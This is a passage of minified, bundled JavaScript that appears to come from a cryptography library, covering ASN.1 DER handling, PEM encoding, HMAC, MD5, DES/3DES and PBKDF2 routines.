0&&H===q7.Class.UNIVERSAL&&J===q7.Type.BITSTRING)_=A.bytes(O);if($===void 0&&Y.decodeBitStrings&&H===q7.Class.UNIVERSAL&&J===q7.Type.BITSTRING&&O>1){var Z=A.read,W=K,D=0;if(J===q7.Type.BITSTRING)DBA(A,K,1),D=A.getByte(),K--;if(D===0)try{z=A.length();var j={strict:!0,decodeBitStrings:!0},M=UX1(A,K,q+1,j),P=z-A.length();if(K-=P,J==q7.Type.BITSTRING)P++;var f=M.tagClass;if(P===O&&(f===q7.Class.UNIVERSAL||f===q7.Class.CONTEXT_SPECIFIC))$=[M]}catch(T){}if($===void 0)A.read=Z,K=W}if($===void 0){if(O===void 0){if(Y.strict)throw Error("Non-constructed ASN.1 object of indefinite length.");O=K}if(J===q7.Type.BMPSTRING){$="";for(;O>0;O-=2)DBA(A,K,2),$+=String.fromCharCode(A.getInt16()),K-=2}else $=A.getBytes(O),K-=O}var N=_===void 0?null:{bitStringContents:_};return q7.create(H,J,G,$,N)}q7.toDer=function(A){var K=cH.util.createBuffer(),q=A.tagClass|A.type,Y=cH.util.createBuffer(),z=!1;if("bitStringContents"in A){if(z=!0,A.original)z=q7.equals(A,A.original)}if(z)Y.putBytes(A.bitStringContents);else if(A.composed){if(A.constructed)q|=32;else Y.putByte(0);for(var w=0;w<A.value.length;++w)if(A.value[w]!==void 0)Y.putBuffer(q7.toDer(A.value[w]))}else if(A.type===q7.Type.BMPSTRING)for(var w=0;w<A.value.length;++w)Y.putInt16(A.value.charCodeAt(w));else if(A.type===q7.Type.INTEGER&&A.value.length>1&&(A.value.charCodeAt(0)===0&&(A.value.charCodeAt(1)&128)===0||A.value.charCodeAt(0)===255&&(A.value.charCodeAt(1)&128)===128))Y.putBytes(A.value.substr(1));else Y.putBytes(A.value);if(K.putByte(q),Y.length()<=127)K.putByte(Y.length()&127);else{var H=Y.length(),J="";do J+=String.fromCharCode(H&255),H=H>>>8;while(H>0);K.putByte(J.length|128);for(var w=J.length-1;w>=0;--w)K.putByte(J.charCodeAt(w))}return K.putBuffer(Y),K};q7.oidToDer=function(A){var K=A.split("."),q=cH.util.createBuffer();q.putByte(40*parseInt(K[0],10)+parseInt(K[1],10));var Y,z,w,H;for(var J=2;J<K.length;++J){Y=!0,z=[],w=parseInt(K[J],10);do{if(H=w&127,w=w>>>7,!Y)H|=128;z.push(H),Y=!1}while(w>0);for(var O=z.length-1;O>=0;--O)q.putByte(z[O])}return q};q7.derToOid=function(A){var K;if(typeof A==="string")A=cH.util.createBuffer(A);var q=A.getByte();K=Math.floor(q/40)+"."+q%40;var Y=0;while(A.length()>0)if(q=A.getByte(),Y=Y<<7,q&128)Y+=q&127;else K+="."+(Y+q),Y=0;return K};q7.utcTimeToDate=function(A){var K=new Date,q=parseInt(A.substr(0,2),10);q=q>=50?1900+q:2000+q;var Y=parseInt(A.substr(2,2),10)-1,z=parseInt(A.substr(4,2),10),w=parseInt(A.substr(6,2),10),H=parseInt(A.substr(8,2),10),J=0;if(A.length>11){var O=A.charAt(10),X=10;if(O!=="+"&&O!=="-")J=parseInt(A.substr(10,2),10),X+=2}if(K.setUTCFullYear(q,Y,z),K.setUTCHours(w,H,J,0),X){if(O=A.charAt(X),O==="+"||O==="-"){var $=parseInt(A.substr(X+1,2),10),_=parseInt(A.substr(X+4,2),10),G=$*60+_;if(G*=60000,O==="+")K.setTime(+K-G);else K.setTime(+K+G)}}return K};q7.generalizedTimeToDate=function(A){var K=new Date,q=parseInt(A.substr(0,4),10),Y=parseInt(A.substr(4,2),10)-1,z=parseInt(A.substr(6,2),10),w=parseInt(A.substr(8,2),10),H=parseInt(A.substr(10,2),10),J=parseInt(A.substr(12,2),10),O=0,X=0,$=!1;if(A.charAt(A.length-1)==="Z")$=!0;var _=A.length-5,G=A.charAt(_);if(G==="+"||G==="-"){var Z=parseInt(A.substr(_+1,2),10),W=parseInt(A.substr(_+4,2),10);if(X=Z*60+W,X*=60000,G==="+")X*=-1;$=!0}if(A.charAt(14)===".")O=parseFloat(A.substr(14),10)*1000;if($)K.setUTCFullYear(q,Y,z),K.setUTCHours(w,H,J,O),K.setTime(+K+X);else K.setFullYear(q,Y,z),K.setHours(w,H,J,O);return K};q7.dateToUtcTime=function(A){if(typeof A==="string")return A;var K="",q=[];q.push((""+A.getUTCFullYear()).substr(2)),q.push(""+(A.getUTCMonth()+1)),q.push(""+A.getUTCDate()),q.push(""+A.getUTCHours()),q.push(""+A.getUTCMinutes()),q.push(""+A.getUTCSeconds());for(var Y=0;Y<q.length;++Y){if(q[Y].length<2)K+="0";K+=q[Y]}return K+="Z",K};q7.dateToGeneralizedTime=function(A){if(typeof A==="string")return A;var K="",q=[];q.push(""+A.getUTCFullYear()),q.push(""+(A.getUTCMonth()+1)),q.push(""+A.getUTCDate()),q.push(""+A.getUTCHours()),q.push(""+A.getUTCMinutes()),q.push(""+A.getUTCSeconds());for(var Y=0;Y<q.length;++Y){if(q[Y].length<2)K+="0";K+=q[Y]}return K+="Z",K};q7.integerToDer=function(A){var K=cH.util.createBuffer();if(A>=-128&&A<128)return K.putSignedInt(A,8);if(A>=-32768&&A<32768)return K.putSignedInt(A,16);if(A>=-8388608&&A<8388608)return K.putSignedInt(A,24);if(A>=-2147483648&&A<2147483648)return K.putSignedInt(A,32);var q=Error("Integer too large; max is 32-bits.");throw q.integer=A,q};q7.derToInteger=function(A){if(typeof A==="string")A=cH.util.createBuffer(A);var K=A.length()*8;if(K>32)throw Error("Integer too large; max is 32-bits.");return A.getSignedInt(K)};q7.validate=function(A,K,q,Y){var z=!1;if((A.tagClass===K.tagClass||typeof K.tagClass>"u")&&(A.type===K.type||typeof K.type>"u")){if(A.constructed===K.constructed||typeof K.constructed>"u"){if(z=!0,K.value&&cH.util.isArray(K.value)){var w=0;for(var H=0;z&&H<K.value.length;++H){if(z=K.value[H].optional||!1,A.value[w]){if(z=q7.validate(A.value[w],K.value[H],q,Y),z)++w;else if(K.value[H].optional)z=!0}if(!z&&Y)Y.push("["+K.name+'] Tag class "'+K.tagClass+'", type "'+K.type+'" expected value length "'+K.value.length+'", got "'+A.value.length+'"')}}if(z&&q){if(K.capture)q[K.capture]=A.value;if(K.captureAsn1)q[K.captureAsn1]=A;if(K.captureBitStringContents&&"bitStringContents"in A)q[K.captureBitStringContents]=A.bitStringContents;if(K.captureBitStringValue&&"bitStringContents"in A){var J;if(A.bitStringContents.length<2)q[K.captureBitStringValue]="";else{var O=A.bitStringContents.charCodeAt(0);if(O!==0)throw Error("captureBitStringValue only supported for zero unused bits");q[K.captureBitStringValue]=A.bitStringContents.slice(1)}}}}else if(Y)Y.push("["+K.name+'] Expected constructed "'+K.constructed+'", got "'+A.constructed+'"')}else if(Y){if(A.tagClass!==K.tagClass)Y.push("["+K.name+'] Expected tag class "'+K.tagClass+'", got "'+A.tagClass+'"');if(A.type!==K.type)Y.push("["+K.name+'] Expected type "'+K.type+'", got "'+A.type+'"')}return z};var G_7=/[^\\u0000-\\u00ff]/;q7.prettyPrint=function(A,K,q){var Y="";if(K=K||0,q=q||2,K>0)Y+=` `;var z="";for(var w=0;w<K*q;++w)z+=" ";switch(Y+=z+"Tag: ",A.tagClass){case q7.Class.UNIVERSAL:Y+="Universal:";break;case q7.Class.APPLICATION:Y+="Application:";break;case q7.Class.CONTEXT_SPECIFIC:Y+="Context-Specific:";break;case q7.Class.PRIVATE:Y+="Private:";break}if(A.tagClass===q7.Class.UNIVERSAL)switch(Y+=A.type,A.type){case q7.Type.NONE:Y+=" (None)";break;case q7.Type.BOOLEAN:Y+=" (Boolean)";break;case q7.Type.INTEGER:Y+=" (Integer)";break;case q7.Type.BITSTRING:Y+=" (Bit string)";break;case q7.Type.OCTETSTRING:Y+=" (Octet string)";break;case q7.Type.NULL:Y+=" (Null)";break;case q7.Type.OID:Y+=" (Object Identifier)";break;case q7.Type.ODESC:Y+=" (Object Descriptor)";break;case q7.Type.EXTERNAL:Y+=" (External or Instance of)";break;case q7.Type.REAL:Y+=" (Real)";break;case q7.Type.ENUMERATED:Y+=" (Enumerated)";break;case q7.Type.EMBEDDED:Y+=" (Embedded PDV)";break;case q7.Type.UTF8:Y+=" (UTF8)";break;case q7.Type.ROID:Y+=" (Relative Object Identifier)";break;case q7.Type.SEQUENCE:Y+=" (Sequence)";break;case q7.Type.SET:Y+=" (Set)";break;case q7.Type.PRINTABLESTRING:Y+=" (Printable String)";break;case q7.Type.IA5String:Y+=" (IA5String (ASCII))";break;case q7.Type.UTCTIME:Y+=" (UTC time)";break;case q7.Type.GENERALIZEDTIME:Y+=" (Generalized time)";break;case q7.Type.BMPSTRING:Y+=" (BMP String)";break}else Y+=A.type;if(Y+=` `,Y+=z+"Constructed: "+A.constructed+` `,A.composed){var H=0,J="";for(var w=0;w<A.value.length;++w)if(A.value[w]!==void 0){if(H+=1,J+=q7.prettyPrint(A.value[w],K+1,q),w+1<A.value.length)J+=","}Y+=z+"Sub values: "+H+J}else{if(Y+=z+"Value: ",A.type===q7.Type.OID){var O=q7.derToOid(A.value);if(Y+=O,cH.pki&&cH.pki.oids){if(O in cH.pki.oids)Y+=" ("+cH.pki.oids[O]+") "}}if(A.type===q7.Type.INTEGER)try{Y+=q7.derToInteger(A.value)}catch($){Y+="0x"+cH.util.bytesToHex(A.value)}else if(A.type===q7.Type.BITSTRING){if(A.value.length>1)Y+="0x"+cH.util.bytesToHex(A.value.slice(1));else Y+="(none)";if(A.value.length>0){var X=A.value.charCodeAt(0);if(X==1)Y+=" (1 unused bit shown)";else if(X>1)Y+=" ("+X+" unused bits shown)"}}else if(A.type===q7.Type.OCTETSTRING){if(!G_7.test(A.value))Y+="("+A.value+") ";Y+="0x"+cH.util.bytesToHex(A.value)}else if(A.type===q7.Type.UTF8)try{Y+=cH.util.decodeUtf8(A.value)}catch($){if($.message==="URI malformed")Y+="0x"+cH.util.bytesToHex(A.value)+" (malformed UTF8)";else throw $}else if(A.type===q7.Type.PRINTABLESTRING||A.type===q7.Type.IA5String)Y+=A.value;else if(G_7.test(A.value))Y+="0x"+cH.util.bytesToHex(A.value);else if(A.value.length===0)Y+="[null]";else Y+=A.value}return Y}});var ru=v(($4H,W_7)=>{var pX1=m3();W_7.exports=pX1.md=pX1.md||{};pX1.md.algorithms=pX1.md.algorithms||{}});var LZA=v((_4H,D_7)=>{var Gp=m3();ru();bY();var PNY=D_7.exports=Gp.hmac=Gp.hmac||{};PNY.create=function(){var A=null,K=null,q=null,Y=null,z={};return z.start=function(w,H){if(w!==null)if(typeof w==="string")if(w=w.toLowerCase(),w in Gp.md.algorithms)K=Gp.md.algorithms[w].create();else throw Error('Unknown hash algorithm "'+w+'"');else K=w;if(H===null)H=A;else{if(typeof H==="string")H=Gp.util.createBuffer(H);else if(Gp.util.isArray(H)){var J=H;H=Gp.util.createBuffer();for(var O=0;O<J.length;++O)H.putByte(J[O])}var X=H.length();if(X>K.blockLength)K.start(),K.update(H.bytes()),H=K.digest();q=Gp.util.createBuffer(),Y=Gp.util.createBuffer(),X=H.length();for(var O=0;O<X;++O){var J=H.at(O);q.putByte(54^J),Y.putByte(92^J)}if(X<K.blockLength){var J=K.blockLength-X;for(var O=0;O<J;++O)q.putByte(54),Y.putByte(92)}A=H,q=q.bytes(),Y=Y.bytes()}K.start(),K.update(q)},z.update=function(w){K.update(w)},z.getMac=function(){var w=K.digest().bytes();return K.start(),K.update(Y),K.update(w),K.digest()},z.digest=z.getMac,z}});var cX1=v((G4H,V_7)=>{var ou=m3();ru();bY();var M_7=V_7.exports=ou.md5=ou.md5||{};ou.md.md5=ou.md.algorithms.md5=M_7;M_7.create=function(){if(!P_7)VNY();var A=null,K=ou.util.createBuffer(),q=Array(16),Y={algorithm:"md5",blockLength:64,digestLength:16,messageLength:0,fullMessageLength:null,messageLengthSize:8};return Y.start=function(){Y.messageLength=0,Y.fullMessageLength=Y.messageLength64=[];var z=Y.messageLengthSize/4;for(var w=0;w<z;++w)Y.fullMessageLength.push(0);return K=ou.util.createBuffer(),A={h0:1732584193,h1:4023233417,h2:2562383102,h3:271733878},Y},Y.start(),Y.update=function(z,w){if(w==="utf8")z=ou.util.encodeUtf8(z);var H=z.length;Y.messageLength+=H,H=[H/4294967296>>>0,H>>>0];for(var J=Y.fullMessageLength.length-1;J>=0;--J)Y.fullMessageLength[J]+=H[1],H[1]=H[0]+(Y.fullMessageLength[J]/4294967296>>>0),Y.fullMessageLength[J]=Y.fullMessageLength[J]>>>0,H[0]=H[1]/4294967296>>>0;if(K.putBytes(z),j_7(A,q,K),K.read>2048||K.length()===0)K.compact();return Y},Y.digest=function(){var z=ou.util.createBuffer();z.putBytes(K.bytes());var w=Y.fullMessageLength[Y.fullMessageLength.length-1]+Y.messageLengthSize,H=w&Y.blockLength-1;z.putBytes(dD6.substr(0,Y.blockLength-H));var J,O=0;for(var X=Y.fullMessageLength.length-1;X>=0;--X)J=Y.fullMessageLength[X]*8+O,O=J/4294967296>>>0,z.putInt32Le(J>>>0);var $={h0:A.h0,h1:A.h1,h2:A.h2,h3:A.h3};j_7($,q,z);var _=ou.util.createBuffer();return _.putInt32Le($.h0),_.putInt32Le($.h1),_.putInt32Le($.h2),_.putInt32Le($.h3),_},Y};var dD6=null,dX1=null,jBA=null,RZA=null,P_7=!1;function VNY(){dD6=String.fromCharCode(128),dD6+=ou.util.fillString(String.fromCharCode(0),64),dX1=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1,6,11,0,5,10,15,4,9,14,3,8,13,2,7,12,5,8,11,14,1,4,7,10,13,0,3,6,9,12,15,2,0,7,14,5,12,3,10,1,8,15,6,13,4,11,2,9],jBA=[7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21],RZA=Array(64);for(var A=0;A<64;++A)RZA[A]=Math.floor(Math.abs(Math.sin(A+1))*4294967296);P_7=!0}function j_7(A,K,q){var Y,z,w,H,J,O,X,$,_=q.length();while(_>=64){z=A.h0,w=A.h1,H=A.h2,J=A.h3;for($=0;$<16;++$)K[$]=q.getInt32Le(),O=J^w&(H^J),Y=z+O+RZA[$]+K[$],X=jBA[$],z=J,J=H,H=w,w+=Y<<X|Y>>>32-X;for(;$<32;++$)O=H^J&(w^H),Y=z+O+RZA[$]+K[dX1[$]],X=jBA[$],z=J,J=H,H=w,w+=Y<<X|Y>>>32-X;for(;$<48;++$)O=w^H^J,Y=z+O+RZA[$]+K[dX1[$]],X=jBA[$],z=J,J=H,H=w,w+=Y<<X|Y>>>32-X;for(;$<64;++$)O=H^(w|~J),Y=z+O+RZA[$]+K[dX1[$]],X=jBA[$],z=J,J=H,H=w,w+=Y<<X|Y>>>32-X;A.h0=A.h0+z|0,A.h1=A.h1+w|0,A.h2=A.h2+H|0,A.h3=A.h3+J|0,_-=64}}});var vqA=v((Z4H,N_7)=>{var iX1=m3();bY();var f_7=N_7.exports=iX1.pem=iX1.pem||{};f_7.encode=function(A,K){K=K||{};var q="-----BEGIN "+A.type+`-----\r `,Y;if(A.procType)Y={name:"Proc-Type",values:[String(A.procType.version),A.procType.type]},q+=lX1(Y);if(A.contentDomain)Y={name:"Content-Domain",values:[A.contentDomain]},q+=lX1(Y);if(A.dekInfo){if(Y={name:"DEK-Info",values:[A.dekInfo.algorithm]},A.dekInfo.parameters)Y.values.push(A.dekInfo.parameters);q+=lX1(Y)}if(A.headers)for(var z=0;z<A.headers.length;++z)q+=lX1(A.headers[z]);if(A.procType)q+=`\r `;return q+=iX1.util.encode64(A.body,K.maxline||64)+`\r `,q+="-----END "+A.type+`-----\r `,q};f_7.decode=function(A){var K=[],q=/\s*-----BEGIN ([A-Z0-9- ]+)-----\r?\n?([\x21-\x7e\s]+?(?:\r?\n\r?\n))?([:A-Za-z0-9+\/=\s]+?)-----END \1-----/g,Y=/([\x21-\x7e]+):\s*([\x21-\x7e\s^:]+)/,z=/\r?\n/,w;while(!0){if(w=q.exec(A),!w)break;var H=w[1];if(H==="NEW CERTIFICATE REQUEST")H="CERTIFICATE REQUEST";var J={type:H,procType:null,contentDomain:null,dekInfo:null,headers:[],body:iX1.util.decode64(w[3])};if(K.push(J),!w[2])continue;var O=w[2].split(z),X=0;while(w&&X<O.length){var $=O[X].replace(/\s+$/,"");for(var _=X+1;_<O.length;++_){var G=O[_];if(!/\s/.test(G[0]))break;$+=G,X=_}if(w=$.match(Y),w){var Z={name:w[1],values:[]},W=w[2].split(",");for(var D=0;D<W.length;++D)Z.values.push(fNY(W[D]));if(!J.procType){if(Z.name!=="Proc-Type")throw Error('Invalid PEM formatted message. The first encapsulated header must be "Proc-Type".');else if(Z.values.length!==2)throw Error('Invalid PEM formatted message. The "Proc-Type" header must have two subfields.');J.procType={version:W[0],type:W[1]}}else if(!J.contentDomain&&Z.name==="Content-Domain")J.contentDomain=W[0]||"";else if(!J.dekInfo&&Z.name==="DEK-Info"){if(Z.values.length===0)throw Error('Invalid PEM formatted message. The "DEK-Info" header must have at least one subfield.');J.dekInfo={algorithm:W[0],parameters:W[1]||null}}else J.headers.push(Z)}++X}if(J.procType==="ENCRYPTED"&&!J.dekInfo)throw Error('Invalid PEM formatted message. The "DEK-Info" header must be present if "Proc-Type" is "ENCRYPTED".')}if(K.length===0)throw Error("Invalid PEM formatted message.");return K};function lX1(A){var K=A.name+": ",q=[],Y=function(O,X){return" "+X};for(var z=0;z<A.values.length;++z)q.push(A.values[z].replace(/^(\S+\r\n)/,Y));K+=q.join(",")+`\r `;var w=0,H=-1;for(var z=0;z<K.length;++z,++w)if(w>65&&H!==-1){var J=K[H];if(J===",")++H,K=K.substr(0,H)+`\r `+K.substr(H);else K=K.substr(0,H)+`\r `+J+K.substr(H+1);w=z-H-1,H=-1,++z}else if(K[z]===" "||K[z]==="\t"||K[z]===",")H=z;return K}function fNY(A){return A.replace(/^\s+/,"")}});var MBA=v((W4H,v_7)=>{var IJ=m3();mX1();gD6();bY();v_7.exports=IJ.des=IJ.des||{};IJ.des.startEncrypting=function(A,K,q,Y){var z=nX1({key:A,output:q,decrypt:!1,mode:Y||(K===null?"ECB":"CBC")});return z.start(K),z};IJ.des.createEncryptionCipher=function(A,K){return nX1({key:A,output:null,decrypt:!1,mode:K})};IJ.des.startDecrypting=function(A,K,q,Y){var z=nX1({key:A,output:q,decrypt:!0,mode:Y||(K===null?"ECB":"CBC")});return z.start(K),z};IJ.des.createDecryptionCipher=function(A,K){return nX1({key:A,output:null,decrypt:!0,mode:K})};IJ.des.Algorithm=function(A,K){var q=this;q.name=A,q.mode=new K({blockSize:8,cipher:{encrypt:function(Y,z){return T_7(q._keys,Y,z,!1)},decrypt:function(Y,z){return T_7(q._keys,Y,z,!0)}}}),q._init=!1};IJ.des.Algorithm.prototype.initialize=function(A){if(this._init)return;var K=IJ.util.createBuffer(A.key);if(this.name.indexOf("3DES")===0){if(K.length()!==24)throw Error("Invalid Triple-DES key size: "+K.length()*8)}this._keys=yNY(K),this._init=!0};au("DES-ECB",IJ.cipher.modes.ecb);au("DES-CBC",IJ.cipher.modes.cbc);au("DES-CFB",IJ.cipher.modes.cfb);au("DES-OFB",IJ.cipher.modes.ofb);au("DES-CTR",IJ.cipher.modes.ctr);au("3DES-ECB",IJ.cipher.modes.ecb);au("3DES-CBC",IJ.cipher.modes.cbc);au("3DES-CFB",IJ.cipher.modes.cfb);au("3DES-OFB",IJ.cipher.modes.ofb);au("3DES-CTR",IJ.cipher.modes.ctr);function au(A,K){var q=function(){return new IJ.des.Algorithm(A,K)};IJ.cipher.registerAlgorithm(A,q)}var NNY=[16843776,0,65536,16843780,16842756,66564,4,65536,1024,16843776,16843780,1024,16778244,16842756,16777216,4,1028,16778240,16778240,66560,66560,16842752,16842752,16778244,65540,16777220,16777220,65540,0,1028,66564,16777216,65536,16843780,4,16842752,16843776,16777216,16777216,1024,16842756,65536,66560,16777220,1024,4,16778244,66564,16843780,65540,16842752,16778244,16777220,1028,66564,16843776,1028,16778240,16778240,0,65540,66560,0,16842756],TNY=[-2146402272,-2147450880,32768,1081376,1048576,32,-2146435040,-2147450848,-2147483616,-2146402272,-2146402304,-2147483648,-2147450880,1048576,32,-2146435040,1081344,1048608,-2147450848,0,-2147483648,32768,1081376,-2146435072,1048608,-2147483616,0,1081344,32800,-2146402304,-2146435072,32800,0,1081376,-2146435040,1048576,-2147450848,-2146435072,-2146402304,32768,-2146435072,-2147450880,32,-2146402272,1081376,32,32768,-2147483648,32800,-2146402304,1048576,-2147483616,1048608,-2147450848,-2147483616,1048608,1081344,0,-2147450880,32800,-2147483648,-2146435040,-2146402272,1081344],vNY=[520,134349312,0,134348808,134218240,0,131592,134218240,131080,134217736,134217736,131072,134349320,131080,134348800,520,134217728,8,134349312,512,131584,134348800,134348808,131592,134218248,131584,131072,134218248,8,134349320,512,134217728,134349312,134217728,131080,520,131072,134349312,134218240,0,512,131080,134349320,134218240,134217736,512,0,134348808,134218248,131072,134217728,134349320,8,131592,131584,134217736,134348800,134218248,520,134348800,131592,8,134348808,131584],ENY=[8396801,8321,8321,128,8396928,8388737,8388609,8193,0,8396800,8396800,8396929,129,0,8388736,8388609,1,8192,8388608,8396801,128,8388608,8193,8320,8388737,1,8320,8388736,8192,8396928,8396929,129,8388736,8388609,8396800,8396929,129,0,0,8396800,8320,8388736,8388737,1,8396801,8321,8321,128,8396929,129,1,8192,8388609,8193,8396928,8388737,8193,8320,8388608,8396801,128,8388608,8192,8396928],kNY=[256,34078976,34078720,1107296512,524288,256,1073741824,34078720,1074266368,524288,33554688,1074266368,1107296512,1107820544,524544,1073741824,33554432,1074266112,1074266112,0,1073742080,1107820800,1107820800,33554688,1107820544,1073742080,0,1107296256,34078976,33554432,1107296256,524544,524288,1107296512,256,33554432,1073741824,34078720,1107296512,1074266368,33554688,1073741824,1107820544,34078976,1074266368,256,33554432,1107820544,1107820800,524544,1107296256,1107820800,34078720,0,1074266112,1107296256,524544,33554688,1073742080,524288,0,1074266112,34078976,1073742080],CNY=[536870928,541065216,16384,541081616,541065216,16,541081616,4194304,536887296,4210704,4194304,536870928,4194320,536887296,536870912,16400,0,4194320,536887312,16384,4210688,536887312,16,541065232,541065232,0,4210704,541081600,16400,4210688,541081600,536870912,536887296,16,541065232,4210688,541081616,4194304,16400,536870928,4194304,536887296,536870912,16400,536870928,541081616,4210688,541065216,4210704,541081600,0,541065232,16,16384,541065216,4210704,16384,4194320,536887312,0,541081600,536870912,4194320,536887312],LNY=[2097152,69206018,67110914,0,2048,67110914,2099202,69208064,69208066,2097152,0,67108866,2,67108864,69206018,2050,67110912,2099202,2097154,67110912,67108866,69206016,69208064,2097154,69206016,2048,2050,69208066,2099200,2,67108864,2099200,67108864,2099200,2097152,67110914,67110914,69206018,69206018,2,2097154,67108864,67110912,2097152,69208064,2050,2099202,69208064,2050,67108866,69208066,69206016,2099200,0,2,69208066,0,2099202,69206016,2048,67108866,67110912,2048,2097154],RNY=[268439616,4096,262144,268701760,268435456,268439616,64,268435456,262208,268697600,268701760,266240,268701696,266304,4096,64,268697600,268435520,268439552,4160,266240,262208,268697664,268701696,4160,0,0,268697664,268435520,268439552,266304,262144,266304,262144,268701696,4096,64,268697664,4096,266304,268439552,64,268435520,268697600,268697664,268435456,262144,268439616,0,268701760,262208,268435520,268697600,268439552,268439616,0,268701760,266240,266240,4160,4160,262208,268435456,268701696];function yNY(A){var K=[0,4,536870912,536870916,65536,65540,536936448,536936452,512,516,536871424,536871428,66048,66052,536936960,536936964],q=[0,1,1048576,1048577,67108864,67108865,68157440,68157441,256,257,1048832,1048833,67109120,67109121,68157696,68157697],Y=[0,8,2048,2056,16777216,16777224,16779264,16779272,0,8,2048,2056,16777216,16777224,16779264,16779272],z=[0,2097152,134217728,136314880,8192,2105344,134225920,136323072,131072,2228224,134348800,136445952,139264,2236416,134356992,136454144],w=[0,262144,16,262160,0,262144,16,262160,4096,266240,4112,266256,4096,266240,4112,266256],H=[0,1024,32,1056,0,1024,32,1056,33554432,33555456,33554464,33555488,33554432,33555456,33554464,33555488],J=[0,268435456,524288,268959744,2,268435458,524290,268959746,0,268435456,524288,268959744,2,268435458,524290,268959746],O=[0,65536,2048,67584,536870912,536936448,536872960,536938496,131072,196608,133120,198656,537001984,537067520,537004032,537069568],X=[0,262144,0,262144,2,262146,2,262146,33554432,33816576,33554432,33816576,33554434,33816578,33554434,33816578],$=[0,268435456,8,268435464,0,268435456,8,268435464,1024,268436480,1032,268436488,1024,268436480,1032,268436488],_=[0,32,0,32,1048576,1048608,1048576,1048608,8192,8224,8192,8224,1056768,1056800,1056768,1056800],G=[0,16777216,512,16777728,2097152,18874368,2097664,18874880,67108864,83886080,67109376,83886592,69206016,85983232,69206528,85983744],Z=[0,4096,134217728,134221824,524288,528384,134742016,134746112,16,4112,134217744,134221840,524304,528400,134742032,134746128],W=[0,4,256,260,0,4,256,260,1,5,257,261,1,5,257,261],D=A.length()>8?3:1,j=[],M=[0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0],P=0,f;for(var N=0;N<D;N++){var T=A.getInt32(),C=A.getInt32();f=(T>>>4^C)&252645135,C^=f,T^=f<<4,f=(C>>>-16^T)&65535,T^=f,C^=f<<-16,f=(T>>>2^C)&858993459,C^=f,T^=f<<2,f=(C>>>-16^T)&65535,T^=f,C^=f<<-16,f=(T>>>1^C)&1431655765,C^=f,T^=f<<1,f=(C>>>8^T)&16711935,T^=f,C^=f<<8,f=(T>>>1^C)&1431655765,C^=f,T^=f<<1,f=T<<8|C>>>20&240,T=C<<24|C<<8&16711680|C>>>8&65280|C>>>24&240,C=f;for(var R=0;R<M.length;++R){if(M[R])T=T<<2|T>>>26,C=C<<2|C>>>26;else T=T<<1|T>>>27,C=C<<1|C>>>27;T&=-15,C&=-15;var x=K[T>>>28]|q[T>>>24&15]|Y[T>>>20&15]|z[T>>>16&15]|w[T>>>12&15]|H[T>>>8&15]|J[T>>>4&15],y=O[C>>>28]|X[C>>>24&15]|$[C>>>20&15]|_[C>>>16&15]|G[C>>>12&15]|Z[C>>>8&15]|W[C>>>4&15];f=(y>>>16^x)&65535,j[P++]=x^f,j[P++]=y^f<<16}}return j}function T_7(A,K,q,Y){var z=A.length===32?3:9,w;if(z===3)w=Y?[30,-2,-2]:[0,32,2];else w=Y?[94,62,-2,32,64,2,30,-2,-2]:[0,32,2,62,30,-2,64,96,2];var H,J=K[0],O=K[1];H=(J>>>4^O)&252645135,O^=H,J^=H<<4,H=(J>>>16^O)&65535,O^=H,J^=H<<16,H=(O>>>2^J)&858993459,J^=H,O^=H<<2,H=(O>>>8^J)&16711935,J^=H,O^=H<<8,H=(J>>>1^O)&1431655765,O^=H,J^=H<<1,J=J<<1|J>>>31,O=O<<1|O>>>31;for(var X=0;X<z;X+=3){var $=w[X+1],_=w[X+2];for(var G=w[X];G!=$;G+=_){var Z=O^A[G],W=(O>>>4|O<<28)^A[G+1];H=J,J=O,O=H^(TNY[Z>>>24&63]|ENY[Z>>>16&63]|CNY[Z>>>8&63]|RNY[Z&63]|NNY[W>>>24&63]|vNY[W>>>16&63]|kNY[W>>>8&63]|LNY[W&63])}H=J,J=O,O=H}J=J>>>1|J<<31,O=O>>>1|O<<31,H=(J>>>1^O)&1431655765,O^=H,J^=H<<1,H=(O>>>8^J)&16711935,J^=H,O^=H<<8,H=(O>>>2^J)&858993459,J^=H,O^=H<<2,H=(J>>>16^O)&65535,O^=H,J^=H<<16,H=(J>>>4^O)&252645135,O^=H,J^=H<<4,q[0]=J,q[1]=O}function nX1(A){A=A||{};var K=(A.mode||"CBC").toUpperCase(),q="DES-"+K,Y;if(A.decrypt)Y=IJ.cipher.createDecipher(q,A.key);else Y=IJ.cipher.createCipher(q,A.key);var z=Y.start;return Y.start=function(w,H){var J=null;if(H instanceof IJ.util.ByteBuffer)J=H,H={};H=H||{},H.output=J,H.iv=w,z.call(Y,H)},Y}});var rX1=v((D4H,E_7)=>{var dM=m3();LZA();ru();bY();var INY=dM.pkcs5=dM.pkcs5||{},Zp;if(dM.util.isNodejs&&!dM.options.usePureJavaScript)Zp=CA("crypto");E_7.exports=dM.pbkdf2=INY.pbkdf2=function(A,K,q,Y,z,w){if(typeof z==="function")w=z,z=null;if(dM.util.isNodejs&&!dM.options.usePureJavaScript&&Zp.pbkdf2&&(z===null||typeof z!=="object")&&(Zp.pbkdf2Sync.length>4||(!z||z==="sha1"))){if(typeof z!=="string")z="sha1";if(A=Buffer.from(A,"binary"),K=Buffer.from(K,"binary"),!w){if(Zp.pbkdf2Sync.length===4)return Zp.pbkdf2Sync(A,K,q,Y).toString("binary");return Zp.pbkdf2Sync(A,K,q,Y,z).toString("binary")}if(Zp.pbkdf2Sync.length===4)return Zp.pbkdf2(A,K,q,Y,function(f,N){if(f)return w(f);w(null,N.toString("binary"))});return Zp.pbkdf2(A,K,q,Y,z,function(f,N){if(f)return w(f);w(null,N.toString("binary"))})}if(typeof z>"u"||z===null)z="sha1";if(typeof z==="string"){if(!(z in dM.md.algorithms))throw Error("Unknown hash algorithm: "+z);z=dM.md[z].create()}var H=z.digestLength;if(Y>4294967295*H){var J=Error("Derived key is too long.");if(w)return w(J);throw J}var O=Math.ceil(Y/H),X=Y-(O-1)*H,$=dM.hmac.create();$.start(z,A);var _="",G,Z,W;if(!w){for(var D=1;D<=O;++D){$.start(null,null),$.update(K),$.update(dM.util.int32ToBytes(D)),G=W=$.digest().getBytes();for(var j=2;j<=q;++j)$.start(null,null),$.update(W),Z=$.digest().getBytes(),G=dM.util.xorBytes(G,Z,H),W=Z;_+=D<O?G:G.substr(0,X)}return _}var 